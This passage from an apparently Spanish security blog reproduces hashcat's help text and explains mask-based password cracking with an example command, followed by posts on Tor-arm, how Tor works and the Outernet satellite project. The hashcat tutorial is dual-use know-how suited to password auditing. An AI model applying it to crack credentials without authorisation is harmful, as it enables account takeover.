  -e,  --salt-file=FILE              salts-file for unsalted hashlists

* Resources:

  -c,  --segment-size=NUM            Size in MB to cache from the wordfile
  -n,  --threads=NUM                 number of threads
  -s,  --words-skip=NUM              skip number of words (for resume)
  -l,  --words-limit=NUM             limit number of words (for distributed)

* Rules:

  -r,  --rules-file=FILE             Rules-file use: -r 1.rule
  -g,  --generate-rules=NUM          Generate NUM random rules
       --generate-rules-func-min=NUM Force NUM functions per random rule min
       --generate-rules-func-max=NUM Force NUM functions per random rule max
       --generate-rules-seed=NUM     Force RNG seed to NUM

* Custom charsets:

  -1,  --custom-charset1=CS          User-defined charsets
  -2,  --custom-charset2=CS          Example:
  -3,  --custom-charset3=CS          --custom-charset1=?dabcdef : sets charset ?1 to 0123456789abcdef
  -4,  --custom-charset4=CS          -2 mycharset.hcchr : sets charset ?2 to chars contained in file

* Toggle-Case attack-mode specific:

       --toggle-min=NUM              number of alphas in dictionary minimum
       --toggle-max=NUM              number of alphas in dictionary maximum

* Mask-attack attack-mode specific:

       --pw-min=NUM                  Password-length minimum
       --pw-max=NUM                  Password-length maximum

* Permutation attack-mode specific:

       --perm-min=NUM                Filter words shorter than NUM
       --perm-max=NUM                Filter words larger than NUM

* Table-Lookup attack-mode specific:

  -t,  --table-file=FILE             table file
       --table-min=NUM               number of chars in dictionary minimum
       --table-max=NUM               number of chars in dictionary maximum

==========
References
==========

* Outfile formats:

    1 = hash[:salt]
    2 = plain
    3 = hash[:salt]:plain
    4 = hex_plain
    5 = hash[:salt]:hex_plain
    6 = plain:hex_plain
    7 = hash[:salt]:plain:hex_plain
    8 = plain:position

* Debug mode output formats (for hybrid mode only, by using rules):

    1 = save finding rule
    2 = save original word
    3 = save original word and finding rule

* Built-in charsets:

   ?l = abcdefghijklmnopqrstuvwxyz
   ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
   ?d = 0123456789
   ?s =  !"#$%&'()*+,-./:;<=>?@[]^_`{|}~
   ?a = ?l?u?d?s

* Attack modes:

    0 = Straight
    1 = Combination
    2 = Toggle-Case
    3 = Brute-force
    4 = Permutation
    5 = Table-Lookup

* Hash types:

    0 = MD5
   10 = md5($pass.$salt)
   20 = md5($salt.$pass)
   30 = md5(unicode($pass).$salt)
   40 = md5($salt.unicode($pass))
   50 = HMAC-MD5 (key = $pass)
   60 = HMAC-MD5 (key = $salt)
  100 = SHA1
  110 = sha1($pass.$salt)
  120 = sha1($salt.$pass)
  130 = sha1(unicode($pass).$salt)
  140 = sha1($salt.unicode($pass))
  150 = HMAC-SHA1 (key = $pass)
  160 = HMAC-SHA1 (key = $salt)
  200 = MySQL
  300 = MySQL4.1/MySQL5
  400 = phpass, MD5(WordPress), MD5(phpBB3)
  500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
  800 = SHA-1(Django)
  900 = MD4
 1000 = NTLM
 1100 = Domain Cached Credentials, mscash
 1400 = SHA256
 1410 = sha256($pass.$salt)
 1420 = sha256($salt.$pass)
 1430 = sha256(unicode($pass).$salt)
 1440 = sha256($salt.unicode($pass))
 1450 = HMAC-SHA256 (key = $pass)
 1460 = HMAC-SHA256 (key = $salt)
 1600 = md5apr1, MD5(APR), Apache MD5
 1700 = SHA512
 1710 = sha512($pass.$salt)
 1720 = sha512($salt.$pass)
 1730 = sha512(unicode($pass).$salt)
 1740 = sha512($salt.unicode($pass))
 1750 = HMAC-SHA512 (key = $pass)
 1760 = HMAC-SHA512 (key = $salt)
 1800 = SHA-512(Unix)
 2400 = Cisco-PIX MD5
 2500 = WPA/WPA2
 2600 = Double MD5
 3200 = bcrypt, Blowfish(OpenBSD)
 3300 = MD5(Sun)
 3500 = md5(md5(md5($pass)))
 3610 = md5(md5($salt).$pass)
 3710 = md5($salt.md5($pass))
 3720 = md5($pass.md5($salt))
 3810 = md5($salt.$pass.$salt)
 3910 = md5(md5($pass).md5($salt))
 4010 = md5($salt.md5($salt.$pass))
 4110 = md5($salt.md5($pass.$salt))
 4210 = md5($username.0.$pass)
 4300 = md5(strtoupper(md5($pass)))
 4400 = md5(sha1($pass))
 4500 = sha1(sha1($pass))
 4600 = sha1(sha1(sha1($pass)))
 4700 = sha1(md5($pass))
 4800 = MD5(Chap)
 5000 = SHA-3(Keccak)
 5100 = Half MD5
 5200 = Password Safe SHA-256
 5300 = IKE-PSK MD5
 5400 = IKE-PSK SHA1
 5500 = NetNTLMv1-VANILLA / NetNTLMv1-ESS
 5600 = NetNTLMv2
 5700 = Cisco-IOS SHA256
 5800 = Samsung Android Password/PIN
 6300 = AIX {smd5}
 6400 = AIX {ssha256}
 6500 = AIX {ssha512}
 6700 = AIX {ssha1}
 6900 = GOST, GOST R 34.11-94
 7000 = Fortigate (FortiOS)
 7100 = OS X v10.8
 7200 = GRUB 2
 7300 = IPMI2 RAKP HMAC-SHA1
 7400 = sha256crypt, SHA256(Unix)
 9999 = Plaintext

* Specific hash types:

   11 = Joomla
   21 = osCommerce, xt:Commerce
  101 = nsldap, SHA-1(Base64), Netscape LDAP SHA
  111 = nsldaps, SSHA-1(Base64), Netscape LDAP SSHA
  112 = Oracle 11g
  121 = SMF > v1.1
  122 = OS X v10.4, v10.5, v10.6
  123 = EPi
  131 = MSSQL(2000)
  132 = MSSQL(2005)
  141 = EPiServer 6.x < v4
 1441 = EPiServer 6.x > v4
 1711 = SSHA-512(Base64), LDAP {SSHA512}
 1722 = OS X v10.7
 1731 = MSSQL(2012)
 2611 = vBulletin < v3.8.5
 2711 = vBulletin > v3.8.5
 2811 = IPB2+, MyBB1.2+
 3721 = WebEdition CMS
 7600 = Redmine Project Management Web App

Podemos comprobar que tenemos una apmlísima biblioteca de hashes que podemos calcular, e inclusos hashes predefinidos de algunas aplicaciones como Joomla, Oracle 11g o Redmine.

El uso de hashcat es similiar a cualquier comando en linux:

hashcat [options] hashfile [mask|wordfiles|directories]

Primero las opciones o modificadores, luego indicamos la ruta del archivo donde se encuentra el hash, y podremos indicarle una máscara, o un archivo o serie de archivos o un directorio. Hashcat cuenta con una serie de modificadores algunos de los más comunes son los siguientes:

-m Le indicamos el tipo de hash que queremos desencriptar, los hashes y sus respectivos números están definidos en la ayuda más arriba.

-a Con este modificador le indicamos el tipo de ataque que vamos a emplear, entre otros tipos encontramos fuerza bruta o permutación, con ellos podremos comprobar a base de diccionario, haciendo combinaciones entre uno o varios diccionarios e incluso alterando las propias palabras del diccionario, como por ejemplo cambiar las “o” por “0” o la “E” por “3”.

-V Nos mostrará la version actual de hashcat.

-n Controlamos el número de hilos (threads) que va a lanzar hashcat. Debemos tener en cuenta que cuantos más threads, más consumo y más calentamiento para nuestra máquina.

-o Definimos el fichero de salida.

–output-format=NUM definimos el formato de salida con un número, podemos ver la lista de formatos más arriba, en la ayuda.

-r Podremos indicarle un fichero.

Ataque con Máscaras.

Una parte importante de hashcat son las máscaras y el control que podemos tener sobre ellas, con esto, podremos indicar qué tipo de carateres queremos probar y así ahorramos comprobaciones con tipos de caracteres que no tenga. Los tipos de caracteres que podremos probar los tenéis en la ayuda en el apartado “Built-in charsets”, un ejemplo de máscara y password es el siguiente:

Password: **ABc99 Máscara: ?a?a?u?u?l?d?d 
Password: Manolo Máscara: ?u?l?l?l?l?l
Password: 001234 Máscara: ?d?d?d?d?d?d

La longitud mínima y máxima del password se indican con los modificadores –pw-min=NUM y –pw-max=NUM respectivamente.

También podemos crearnos un juego de caracteres personalizado, para ello usaremos los modificadores -1, -2, -3 y -4, con ellos podemos dejar otro caracter predefinido en las opciones para luego usarlo en nuestra máscara. Un ejemplo podría ser el siguiente:

./hashcat-cli64.bin -m11 -a3 -1?dABCDEF archivo.hccap ?1?1?1?1?1?1?1

En este caso le estamos indicando con -1 que cuente con números (?d) y letras mayúsculas de la A a la F. De esta forma podremos afinar un poco mas a la hora de sacar la contraseña en cuestión.


  • 0

Tor ARM, el brazo articulado de Tor

Tags :

Category : Herramientas , Manuales , Redes , Tor

La red tor es una red virtual muy utilizada por los que buscan más privacidad dentro de internet, como hemos explicado anteriormente en el post de “Tor: The Onion Router” la red tor se basa en unos nodos de entrada, nodos intermedios y nodos de salida, algunas veces, cuando necesitamos configurar rapidamente sobre que nodos de salida salir o hacer un uso ágil de este servicio nos lleva más tiempo ir modificando archivos de configuración. Arm (Anonymizing Relay Monitor) es un software que entre otras cosas te permite monitorear el ancho de banda de la red tor, ver y modificar ficheros de configuración o pedir una nueva dirección IP entre otras cosas. Sólo está disponible para GNU/Linux o para Mac.

Para instalarlo sólo tenemos que teclear en nuestra shell:

sudo apt-get install tor-arm

Para otras distribuciones, mirad en la web de descargas, en mi caso, la distribución Backbox lo trae instalado por defecto, de tal forma que teclearemos “sudo arm” en la shell para ejecutarlo.

Captura de pantalla de 2014-03-06 23:17:33

Se nos abre la primera pantalla de arm en la que tenemos una gráfica en tiempo real del ancho de banda de tor y abajo tenemos los eventos donde nos indica si no se puede conectar, si tenemos una versión desactualizada, información acerca de nuestro fichero torrc… Podemos ver en la parte de arriba que nos revisa nuestra versión de tor y nos indica si está actualizado, para obtener una nueva identidad tenemos que pulsar la tecla n, si necesitamos ver la ayuda, lo haremos presionando la tecla h.

Captura de pantalla de 2014-03-07 03:19:19

Para navegar pos la páginas de tor-arm usaremos la flechas de dirección, segunda página de arm, donde podemos ver las conexiones y los circuitos establecidos en la red tor.

Captura de pantalla de 2014-03-06 23:19:01

El fichero torrc que está en el directorio /etc/tor/ es el archivo de configuración del servicio TOR, realmente podemos modificarlo a mano usando gedit, nano o cualquier otro editor de texto, siempre es recomendable leerse el manual y el FAQ en su página web oficial. En la página 3 podemos configurar algunos parámetros del fichero torrc, para orientarnos mejor nos muestra una descripción del parámetro que estemos modificando en ese momento, después para recargar el fichero torrc presionamos la tecla r.

Captura de pantalla de 2014-03-06 23:19:38

Si queremos modificar a mano el fichero torrc, podemos hacerlo en la página 4, donde podremos afinar aun más las configuraciones.

Captura de pantalla de 2014-03-06 23:20:27

En la última página tenemos el “Control Interpretor”, el cual iniciaremos presionando enter. Es una consola que nos permite hacer una serie de configuraciones, por ejemplo, poder extender nuestro circuito de tor o cerrar el circuito que le indiquemos, entre otras cosas.

Captura de pantalla de 2014-03-07 03:22:41

En resumidas cuentas, con tor-arm podremos configurar rápidamente nuestro servicio sin necesidad de ir buceando los archivos de configuración, consume pocos recursos y es bastante eficiente, así qu es una opcion bastante recomendable para los que solemos hacer uso de esta red.


  • 2

TOR. The Onion Router

Category : Redes , Tor , Uncategorized

TOR The Onion Router

Mucha gente se empieza a interesar en TOR, en su funcionamiento y en sus posibilidades en cuanto al anonimato.

¿Que es Tor? Tor es una red que funciona sobre internet. Nació como un proyecto de la marina estadounidense con el propósito de proteger las comunicaciones militares y gubernamentales. Más tarde el proyecto fue liberado y hoy en día es utilizado por gran número de personas, sean periodistas, gobiernos, activistas, o cualquier otro que quiera proteger su identidad durante sus actividades en la red.

Tor funciona a través de una serie de túneles virtuales, que impiden reconocer el origen de las ips que establecen una comunicación, tratando de asegurar el anonimato.

Lo primero que hace el tor proxy en la maquina donde se instala, es descargar la lista de los tor nodes, para crear un circuito. Estos nodes pertenecen a organizaciones o personas que contribuyen al proyecto de forma altruista mayormente.

El proxy selecciona un nodo de entrada creando la primera clave de sesión, y seguidamente buscará, un middel node con el que extender el circuito por supuesto con otra clave de sesión , hasta el nodo de salida, con el que establecerá otra última clave de sesión TSL

Ahora que está creado el circuito con las claves de cada una de las sesiones, se puede cifrar un mensaje en tres capas, de tal forma que el nodo de entrada desencripta la primera capa, el segundo, la segunda capa y el de salida la última, cada uno con su clave que contendrá los datos con la ip de destino. Como es lógico el nodo de entrada y de salida ignoran por completo cual es el destino, solo el nodo de salida es el conocedor de esta información tras descifrar la última capa del mensaje cifrado. Haciendo que sea muy difícil localizar la ip de origen de dicho tráfico.

Tor-onion-network

 

Onion_diagram

 

La forma que se establece la seguridad en capas es lo que le da el nombre de onion, cebolla en inglés.

Hidden Services, La deep web.

Los hidden services son servicios de internet que funcionan a través de la red de tor. Cualquiera puede montar un servidor “oculto” en la deep web, ya sea porque no quiere publicarlo en internet o bien porque su ISP no permite ese tipo de servicios, su país lo blockea, temas leagales o de censura, etc.

Para generar un hidden service, hace falta crear una dirección en tor. Es un hash con números y letras que termina con una extensión .onion la más famosa de estas direcciones es the hidden wiki, una wiki con los principales enlaces a hidden services de la red tor.

http://kpvz7ki2v5agwt35.onion.to/wiki/‎ (en este caso un servicio web)

Si no funciona este enlace, es normal, tor es una red distribuida y puede caerse una parte o bien puede haber mirrors de la misma web o simplemente han cambiado el hostname.

Estos enlances son distribuidos entre los tor relays, ordenadores destinados a contribuir al proyector tor, lo que hacen es utilizar un protocolo p2p. Lo que consigue es poner en contacto a un usuario con el servicio en concreto, sin exponer como se pretende, el anonimato.

Empezar a usar tor es tan fácil como descargarse el tor boundle de la página, https://www.torproject.org en su versión para cada sistema operativo que lo soporta.

Es un conjunto de herramientas que nos permitirán navegar por internet anónimamente, ya que incluye una versión modificada del navegador firefox, configurada para utilizar tor.

Pablo Martínez. Team Sec


  • 0

Outernet, wifi gratis desde el espacio.

Después de ver los avances en micro-ordenadores tales como Raspberry, Cubieboard, Cubietruck… vamos viendo la tendencia a abaratar costes miniaturizando todo. En este tema en concreto nos lanzamos al espacio exterior para contemplar la implementación global de uno de los grandes avances de este tiempo, los satélites de bajo coste. Así lo explica dailymail.co.uk en su página web. Outernet es un proyecto de la organización “Media Development Investment Fund (MDIF)“, ¿Su objetivo? Acceso web gratis para todo el mundo vía de satélite.

En este ambicioso proyecto se planean poner en órbita cientos de satélites alrededor del mundo entero, incluyendo países castigados bajo el yugo de la censura como China o Korea del norte, con esto se pretende un acceso más libre a la información sin tener que estar sometidos a la voluntad del gobierno censor en cuestión.

Para ello van a necesitar muchos cubesats, satélites pequeños de bajo coste con los que pretenden dar cobertura al mundo entero en junio del 2015. La forma de transmisión será a través del protocolo UDP, un protocolo que no necesita confirmación del envío de paquetes. Al ser una red wifi a gran escala, uno se plantea de qué forma irá implementada la seguridad y si realmente es posible mantener una red wireless para el mundo, contando con la cantidad de problemas que también ello acarrearía.
Gracias a estos pequeños satélites podemos ver crecer otros proyectos como éste, de la universidad de Vigo, tiendas online de Cubesat. Esto podrá suponer un adelanto en materia de investigación, se reducirían los costes a menos de 10.000 dólares por microsatélite pesando 1kg y un volumen de 1 litro.

Imagen de un cubesat:

Varias compañías como Wikipedia y Ubuntu entre otras han decidido dar el sí para aprobar esta propuesta, la cual se supone que estará en fase de pruebas en junio de 2015.